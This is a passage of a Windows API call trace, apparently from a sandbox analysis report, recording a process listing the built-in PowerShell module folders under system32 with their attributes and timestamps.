nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0200.671] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0200.672] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704a9e60 [0200.672] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5323bacf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5323bacf, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.672] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppBackgroundTask", cAlternateFileName="APPBAC~1")) returned 1 [0200.672] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssignedAccess", cAlternateFileName="ASSIGN~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitLocker", cAlternateFileName="BITLOC~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigCI", cAlternateFileName="")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defender", cAlternateFileName="")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeliveryOptimization", cAlternateFileName="DELIVE~1")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0200.674] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.LocalAccounts", cAlternateFileName="MICROS~1.LOC")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0200.677] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0200.677] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0200.677] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMAgent", cAlternateFileName="")) returned 1 [0200.677] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0200.677] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0200.678] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos", cAlternateFileName="")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x1ef704a9e60, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, 